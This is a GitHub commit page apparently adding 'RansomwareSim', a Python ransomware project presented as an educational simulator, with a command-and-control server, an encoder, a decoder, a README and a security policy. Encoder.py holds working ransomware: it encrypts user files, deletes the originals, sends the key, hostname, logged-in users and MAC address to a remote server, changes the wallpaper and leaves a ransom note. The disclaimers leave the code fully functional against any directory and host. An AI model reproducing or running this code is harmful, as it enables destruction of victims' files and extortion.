Skip to content

Commit 45226fa

Browse files
authored
Add files via upload
1 parent 69765cd commit 45226fa

File tree

6 files changed

+364
-0
lines changed

6 files changed

+364
-0
lines changed

ControlServer.py

+66
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
import socket
2+
import threading
3+
import json
4+
import logging
5+
from colorama import init, Fore, Style
6+
7+
init(autoreset=True)
8+
class ControlServer:
9+
def __init__(self, host, port, log_file):
10+
self.host = host
11+
self.port = port
12+
self.server = None
13+
self.setup_logging(log_file)
14+
15+
def setup_logging(self, log_file):
16+
logging.basicConfig(filename=log_file, level=logging.INFO,
17+
format='%(asctime)s - %(levelname)s - %(message)s')
18+
19+
def handle_client(self, connection, address):
20+
try:
21+
data = connection.recv(1024)
22+
if not data:
23+
return
24+
25+
message = json.loads(data.decode())
26+
if 'request' in message and message['request'] == 'key':
27+
print(f"Key request received from: {address}")
28+
key = input(f"{Fore.RED}Please enter the encryption key: {Style.RESET_ALL}")
29+
response = json.dumps({'key': key})
30+
connection.sendall(response.encode())
31+
logging.info(key)
32+
else:
33+
logging.info(f"Data received from {address}: {message}")
34+
print(f"{Fore.GREEN}Data received: {address}. {message}{Style.RESET_ALL}")
35+
except json.JSONDecodeError:
36+
logging.error("Invalid JSON data received.")
37+
finally:
38+
connection.close()
39+
40+
def start(self):
41+
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
42+
self.server.bind((self.host, self.port))
43+
self.server.listen(5)
44+
logging.info(f"{Fore.YELLOW}Server listening at {self.host}:{self.port}.{Style.RESET_ALL}")
45+
print(f"{Fore.YELLOW}Server listening at {self.host}:{self.port}{Style.RESET_ALL}")
46+
47+
try:
48+
while True:
49+
connection, address = self.server.accept()
50+
logging.info(f"Connection established from {address}.")
51+
print(f"Connection established from {address}")
52+
client_thread = threading.Thread(target=self.handle_client, args=(connection, address))
53+
client_thread.start()
54+
except KeyboardInterrupt:
55+
logging.info("Shutting down the server.")
56+
print("Server shut down")
57+
finally:
58+
self.server.close()
59+
60+
if __name__ == "__main__":
61+
HOST = '0.0.0.0' # Listen on all interfaces
62+
PORT = 12345 # Port number
63+
LOG_FILE = 'server_log.txt' # Name of the log file
64+
65+
control_server = ControlServer(HOST, PORT, LOG_FILE)
66+
control_server.start()

Decoder.py

+75
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
import gc
2+
import socket
3+
import json
4+
import os
5+
from cryptography.fernet import Fernet
6+
7+
class Decoder:
8+
def __init__(self, directory, server_host, server_port):
9+
self.directory = directory
10+
self.server_host = server_host
11+
self.server_port = server_port
12+
13+
def decrypt_file(self, file_path, key):
14+
fernet = Fernet(key)
15+
with open(file_path, 'rb') as file:
16+
encrypted_data = file.read()
17+
decrypted_data = fernet.decrypt(encrypted_data)
18+
19+
original_file_path = file_path.replace(".denizhalil", "")
20+
with open(original_file_path, 'wb') as file:
21+
file.write(decrypted_data)
22+
23+
os.remove(file_path)
24+
25+
def find_and_decrypt_files(self, key):
26+
for root, _, files in os.walk(self.directory):
27+
for file in files:
28+
if file.endswith(".denizhalil"):
29+
file_path = os.path.join(root, file)
30+
self.decrypt_file(file_path, key)
31+
32+
def request_key_from_server(self):
33+
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
34+
s.connect((self.server_host, self.server_port))
35+
s.sendall(json.dumps({'request': 'key'}).encode())
36+
data = s.recv(1024)
37+
response = json.loads(data.decode())
38+
return response.get('key')
39+
40+
def delete_readme(self):
41+
42+
desktop_path = os.path.join(os.path.join(os.environ['USERPROFILE']), 'Desktop')
43+
readme_path = os.path.join(desktop_path, 'Readme.txt')
44+
45+
if os.path.exists(readme_path):
46+
os.remove(readme_path)
47+
else:
48+
pass
49+
50+
def clear_memory(self):
51+
gc.collect()
52+
print("Memory cleared.")
53+
def main():
54+
directory = 'dosyalar/' # Replace with the target directory path
55+
server_host = '10.0.2.37'
56+
server_port = 12345
57+
print("Waiting for key...")
58+
59+
try:
60+
decoder = Decoder(directory, server_host, server_port)
61+
key = decoder.request_key_from_server()
62+
63+
if key:
64+
decoder.find_and_decrypt_files(key)
65+
print("Files successfully decrypted.")
66+
decoder.delete_readme()
67+
else:
68+
print("Key not found or incorrect.")
69+
except Exception as e:
70+
print(f"An error occurred: {e}\nPlease restart the program.")
71+
72+
decoder.clear_memory()
73+
74+
if __name__ == "__main__":
75+
main()

Encoder.py

+110
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
import gc
2+
import os
3+
import json
4+
import uuid
5+
import ctypes
6+
import socket
7+
import subprocess
8+
from cryptography.fernet import Fernet
9+
10+
class RansomwareSimulator:
11+
def __init__(self, directory, server_host, server_port, file_extensions):
12+
self.directory = directory
13+
self.server_host = server_host
14+
self.server_port = server_port
15+
self.file_extensions = file_extensions
16+
self.key = Fernet.generate_key()
17+
18+
def change_wallpaper(self, image_path):
19+
if os.name == 'nt':
20+
ctypes.windll.user32.SystemParametersInfoW(20, 0, image_path , 0)
21+
22+
else:
23+
print("Wallpaper change feature is not supported on this OS.")
24+
25+
def get_mac_address(self):
26+
mac_num = hex(uuid.getnode()).replace('0x', '').upper()
27+
mac_num = mac_num.zfill(12)
28+
mac = ':'.join(mac_num[i: i + 2] for i in range(0, 12, 2))
29+
return mac
30+
31+
32+
def create_readme(self):
33+
desktop_path = os.path.join(os.path.join(os.environ['USERPROFILE']), 'Desktop')
34+
readme_path = os.path.join(desktop_path, 'Readme.txt')
35+
with open(readme_path, 'w') as file:
36+
file.write("This is a simulation program, your files are encrypted.")
37+
38+
39+
def encrypt_file(self, file_path):
40+
fernet = Fernet(self.key)
41+
with open(file_path, 'rb') as file:
42+
original = file.read()
43+
encrypted = fernet.encrypt(original)
44+
45+
encrypted_file_path = file_path + ".denizhalil"
46+
with open(encrypted_file_path, 'wb') as encrypted_file:
47+
encrypted_file.write(encrypted)
48+
49+
os.remove(file_path)
50+
return encrypted_file_path
51+
52+
def find_and_encrypt_files(self):
53+
encrypted_files = []
54+
for root, _, files in os.walk(self.directory):
55+
for file in files:
56+
if any(file.endswith(ext) for ext in self.file_extensions):
57+
file_path = os.path.join(root, file)
58+
encrypted_file_path = self.encrypt_file(file_path)
59+
encrypted_files.append(encrypted_file_path)
60+
print(f"Encrypted and saved file: {encrypted_file_path}")
61+
return encrypted_files
62+
63+
def get_active_users(self):
64+
try:
65+
command = 'query user' if os.name == 'nt' else 'who'
66+
output = subprocess.check_output(command, shell=True)
67+
return output.decode(errors='ignore')
68+
except subprocess.CalledProcessError:
69+
return "Unable to fetch active users"
70+
71+
def collect_data(self):
72+
return {
73+
'hostname': socket.gethostname(),
74+
'key': self.key.decode(),
75+
'active_users': self.get_active_users(),
76+
'mac_address': self.get_mac_address()
77+
}
78+
79+
def send_data_to_server(self):
80+
data = self.collect_data()
81+
self.send_to_server(json.dumps(data))
82+
83+
def send_to_server(self, data):
84+
try:
85+
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
86+
s.connect((self.server_host, self.server_port))
87+
s.sendall(data.encode())
88+
except:
89+
quit(0)
90+
91+
def clear_memory(self):
92+
gc.collect()
93+
print("Memory cleared.")
94+
95+
def main():
96+
file_extensions = ['.txt', '.docx', '.jpg']
97+
directory = 'dosyalar/' # 'dosyalar/' should be replaced with the directory path you want to target
98+
wallpaper_path = r"duvarkağıtı/araba.jpg"
99+
server_host = '10.0.2.37'
100+
server_port = 12345
101+
102+
simulator = RansomwareSimulator(directory, server_host, server_port, file_extensions)
103+
simulator.find_and_encrypt_files()
104+
simulator.send_data_to_server()
105+
simulator.change_wallpaper(wallpaper_path) # Change the wallpaper
106+
simulator.create_readme()
107+
simulator.clear_memory()
108+
109+
if __name__ == "__main__":
110+
main()

Readme.md

+92
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
# RansomwareSim
2+
3+
<img src="img/RansomWareSim.png"></img>
4+
5+
## Overview
6+
RansomwareSim is a simulated ransomware application developed for educational and training purposes. It is designed to demonstrate how ransomware encrypts files on a system and communicates with a command-and-control server. This tool is strictly for educational use and should not be used for malicious purposes.
7+
8+
## Features
9+
- Encrypts specified file types within a target directory.
10+
- Changes the desktop wallpaper (Windows only).
11+
- Creates&Delete a README file on the desktop with a simulated ransom note.
12+
- Simulates communication with a command-and-control server to send system data and receive a decryption key.
13+
- Decrypts files after receiving the correct key.
14+
15+
## Usage
16+
**`Important`:** This tool should only be used in controlled environments where all participants have given consent. Do not use this tool on any system without explicit permission. For more, read [SECURE](SECURITY.md)
17+
18+
## Requirements
19+
20+
- Python 3.x
21+
- cryptography
22+
- colorama
23+
24+
## Installation
25+
26+
1. Clone the repository:
27+
28+
```shell
29+
git clone https://github.com/HalilDeniz/RansomwareSim.git
30+
```
31+
32+
2. Navigate to the project directory:
33+
34+
```shell
35+
cd RansomwareSim
36+
```
37+
38+
3. Install the required dependencies:
39+
40+
```shell
41+
pip install -r requirements.txt
42+
```
43+
44+
### Running the Control Server
45+
1. Open `controlpanel.py`.
46+
2. Start the server by running `controlpanel.py`.
47+
3. The server will listen for connections from `RansomwareSim` and the `Decoder`.
48+
49+
### Running the Simulator
50+
1. Navigate to the directory containing `RansomwareSim`.
51+
2. Modify the `main` function in `encoder.py` to specify the target directory and other parameters.
52+
3. Run `encoder.py` to start the encryption process.
53+
4. Follow the instructions displayed on the console.
54+
55+
56+
### Running the Decoder
57+
1. Run `decoder.py` after the files have been encrypted.
58+
2. Follow the prompts to input the decryption key.
59+
60+
## Disclaimer
61+
RansomwareSim is developed for educational purposes only. The creators of RansomwareSim are not responsible for any misuse of this tool. This tool should not be used in any unauthorized or illegal manner. Always ensure ethical and legal use of this tool.
62+
63+
## Contributing
64+
Contributions, suggestions, and feedback are welcome. Please create an issue or pull request for any contributions.
65+
1. Fork the repository.
66+
2. Create a new branch for your feature or bug fix.
67+
3. Make your changes and commit them.
68+
4. Push your changes to your forked repository.
69+
5. Open a pull request in the main repository.
70+
71+
72+
73+
## Contact
74+
For any inquiries or further information, you can reach me through the following channels:
75+
76+
- LinkedIn : [Halil Ibrahim Deniz](https://www.linkedin.com/in/halil-ibrahim-deniz/)
77+
- TryHackMe: [Halilovic](https://tryhackme.com/p/halilovic)
78+
- Instagram: [deniz.halil333](https://www.instagram.com/deniz.halil333/)
79+
- YouTube : [Halil Deniz](https://www.youtube.com/c/HalilDeniz)
80+
- Email : halildeniz313@gmail.com
81+
82+
83+
84+
## 💰 You can help me by Donating
85+
Thank you for considering supporting me! Your support enables me to dedicate more time and effort to creating useful tools like RansomwareSim and developing new projects. By contributing, you're not only helping me improve existing tools but also inspiring new ideas and innovations. Your support plays a vital role in the growth of this project and future endeavors. Together, let's continue building and learning. Thank you!"<br>
86+
[![BuyMeACoffee](https://img.shields.io/badge/Buy%20Me%20a%20Coffee-ffdd00?style=for-the-badge&logo=buy-me-a-coffee&logoColor=black)](https://buymeacoffee.com/halildeniz)
87+
[![Patreon](https://img.shields.io/badge/Patreon-F96854?style=for-the-badge&logo=patreon&logoColor=white)](https://patreon.com/denizhalil)
88+
89+
## License
90+
RansomwareSim is released under the [MIT License](LICENSE). See LICENSE for more information.
91+
92+

SECURITY.md

+20
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
## Security Considerations
2+
3+
### Responsible Usage
4+
- **Controlled Environment**: Always use RansomwareSim in a controlled, isolated environment. It should never be run on any production or personal system.
5+
- **Consent and Permission**: Ensure that you have explicit consent from all individuals who have access to or are responsible for the environment where this tool is used.
6+
- **Data Sensitivity**: Do not use RansomwareSim on systems containing sensitive, personal, or confidential data, even in a testing environment.
7+
8+
### Legal Compliance
9+
- **Ethical Conduct**: RansomwareSim is intended solely for educational and training purposes. Any use of this tool for malicious purposes is strictly prohibited.
10+
- **Compliance with Laws**: Users must comply with all applicable local, state, national, and international laws when using this tool. Unauthorized use of this tool may constitute a criminal offense.
11+
12+
### Security Measures
13+
- **Antivirus Software**: Some antivirus programs may flag RansomwareSim as malicious. Inform participants about potential antivirus notifications and consider temporarily disabling antivirus software in a controlled testing environment.
14+
- **Network Security**: When running RansomwareSim, ensure that the test network is secure and isolated from other networks to prevent unintended spread or network traffic monitoring.
15+
16+
### Data Backup
17+
- **Backup Important Data**: Always back up any important data before running RansomwareSim, even in a controlled environment, to prevent accidental loss.
18+
19+
### Source Code Integrity
20+
- **Source Verification**: Ensure that the source code for RansomwareSim is obtained from a reliable and trusted source to prevent the execution of tampered or malicious code.

requirements.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
cryptography

0 commit comments

Comments
 (0)